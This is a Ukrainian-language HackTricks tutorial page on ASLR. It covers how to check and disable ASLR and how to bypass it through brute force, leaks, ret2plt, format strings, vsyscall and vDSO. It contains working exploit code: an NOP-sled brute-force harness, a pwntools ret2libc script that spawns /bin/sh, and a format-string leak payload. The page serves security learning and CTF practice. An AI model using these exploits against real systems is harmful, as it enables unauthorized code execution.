hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

19 KiB
Raw Permalink Blame History

ASLR

{% hint style="success" %} Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}

Основна інформація

Випадкове розташування простору адрес (ASLR) - це техніка безпеки, яка використовується в операційних системах для випадкового розташування адрес пам'яті, які використовуються системними та програмними процесами. Це значно ускладнює передбачення місця конкретних процесів та даних, таких як стек, купа та бібліотеки, тим самим запобігаючи певним типам експлойтів, зокрема переповненням буфера.

Перевірка статусу ASLR

Щоб перевірити статус ASLR в системі Linux, ви можете прочитати значення з файлу /proc/sys/kernel/randomize_va_space. Значення, збережене в цьому файлі, визначає тип застосованого ASLR:

  • 0: Відсутнє випадкове розташування. Все статичне.
  • 1: Консервативне випадкове розташування. Рандомізуються спільні бібліотеки, стек, mmap(), сторінка VDSO.
  • 2: Повне випадкове розташування. Крім елементів, які рандомізуються консервативним варіантом, пам'ять, керована через brk(), рандомізується.

Ви можете перевірити статус ASLR за допомогою наступної команди:

cat /proc/sys/kernel/randomize_va_space

Вимкнення ASLR

Для вимкнення ASLR встановіть значення /proc/sys/kernel/randomize_va_space на 0. Зазвичай не рекомендується вимикати ASLR, крім випадків тестування або налагодження. Ось як це можна зробити:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ви також можете вимкнути ASLR для виконання за допомогою:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Увімкнення ASLR

Для увімкнення ASLR можна записати значення 2 у файл /proc/sys/kernel/randomize_va_space. Зазвичай для цього потрібні привілеї root. Повне випадкове розташування можна ввімкнути за допомогою наступної команди:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Стійкість після перезавантаження

Зміни, внесені за допомогою команд echo, є тимчасовими і будуть скинуті при перезавантаженні. Щоб зробити зміну стійкою, вам потрібно відредагувати файл /etc/sysctl.conf та додати або змінити наступний рядок:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Після редагування /etc/sysctl.conf застосуйте зміни за допомогою:

sudo sysctl -p

Це забезпечить, що ваші налаштування ASLR залишаться після перезавантаження.

Обхід

32-бітне грубе насильство

PaX розділяє простір адрес процесу на 3 групи:

  • Код та дані (ініціалізовані та неініціалізовані): .text, .data та .bss —> 16 біт ентропії у змінній delta_exec. Ця змінна випадково ініціалізується з кожним процесом та додається до початкових адрес.
  • Пам'ять, виділена за допомогою mmap() та спільні бібліотеки —> 16 біт, позначена як delta_mmap.
  • Стек —> 24 біти, позначена як delta_stack. Однак фактично використовує 11 біт (від 10-го до 20-го байта включно), вирівняні на 16 байт —> Це призводить до 524,288 можливих реальних адрес стеку.

Попередні дані для 32-бітних систем, а зменшена кінцева ентропія дозволяє обійти ASLR, спробувавши виконання знову і знову, поки експлойт успішно завершиться.

Ідеї для грубого насильства:

  • Якщо у вас достатньо велике переповнення для розміщення великого NOP-ковзання перед кодом оболонки, ви можете просто грубо насильно перебирати адреси в стеку, поки потік перескочить деяку частину NOP-коду.
  • Ще один варіант для цього у випадку, якщо переповнення не настільки велике і експлойт може бути запущений локально, це можливо додати NOP-код та код оболонки в змінну середовища.
  • Якщо експлойт локальний, ви можете спробувати грубо насильно визначити базову адресу libc (корисно для 32-бітних систем):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Якщо ви атакуєте віддалений сервер, ви можете спробувати перебрати адресу функції usleep у libc, передаючи як аргумент 10 (наприклад). Якщо в якийсь момент сервер витрачає додаткові 10 секунд на відповідь, ви знайшли адресу цієї функції.

{% hint style="success" %} На 64-бітних системах ентропія набагато вища, і це не повинно бути можливим. {% endhint %}

Перебор стеку 64 біти

Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб експлуатувати його.
Наступний код показує, як можна просто вибрати адресу в стеці і кожні кілька сотень виконань ця адреса буде містити інструкцію NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Локальна інформація (/proc/[pid]/stat)

Файл /proc/[pid]/stat процесу завжди доступний для читання кожному і він містить цікаву інформацію, таку як:

  • startcode & endcode: Адреси вище і нижче з TEXT бінарного файлу
  • startstack: Адреса початку стеку
  • start_data & end_data: Адреси вище і нижче, де знаходиться BSS
  • kstkesp & kstkeip: Поточні адреси ESP та EIP
  • arg_start & arg_end: Адреси вище і нижче, де знаходяться аргументи командного рядка
  • env_start & env_end: Адреси вище і нижче, де знаходяться змінні середовища

Отже, якщо зловмисник знаходиться на тому ж комп'ютері, що і бінарний файл, який використовується, і цей бінарний файл не очікує переповнення від сирої аргументації, але від іншого вводу, який може бути створений після читання цього файлу. Для зловмисника можливо отримати деякі адреси з цього файлу та побудувати з них зміщення для експлойту.

{% hint style="success" %} Для отримання додаткової інформації про цей файл перегляньте https://man7.org/linux/man-pages/man5/proc.5.html, шукаючи /proc/pid/stat {% endhint %}

Маючи витік

  • Завдання полягає в наданні витоку

Якщо вам надано витік (легкі завдання CTF), ви можете розрахувати зміщення з нього (припускаючи, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлойту взято з прикладу звідси (перевірте цю сторінку для отримання додаткових деталей):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Зловживанням переповненням буфера можливо використати ret2plt для витіснення адреси функції з libc. Перевірте:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Формат рядків довільного читання

Точно так само, як у випадку з ret2plt, якщо у вас є довільне читання через вразливість формату рядків, можливо витіснити адресу функції libc з GOT. Наступний приклад звідси:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Ви можете знайти більше інформації про довільне читання форматних рядків за посиланням:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

Механізм vsyscall призначений для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони фундаментально належать ядру. Критичною перевагою vsyscalls є їх фіксовані адреси, які не піддаються ASLR (випадкове розташування простору адрес). Ця фіксована природа означає, що зловмисники не потребують уразливості на витік інформації для визначення їх адрес та використання їх у експлойті.
Однак тут не буде знайдено дуже цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент ret;)

(Наступний приклад та код взято з цього опису)

Наприклад, зловмисник може використовувати адресу 0xffffffffff600800 у своєму експлойті. Хоча спроба безпосередньо перейти до інструкції ret може призвести до нестабільності або аварійного завершення після виконання кількох гаджетів, перехід на початок syscall, наданої розділом vsyscall, може бути успішним. Ретельно розмістивши гаджет ROP, який веде виконання до цієї адреси vsyscall, зловмисник може досягти виконання коду, не потребуючи обходу ASLR для цієї частини експлойту.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Зверніть увагу, яким чином можливо обійти ASLR, зловживаючи vdso, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}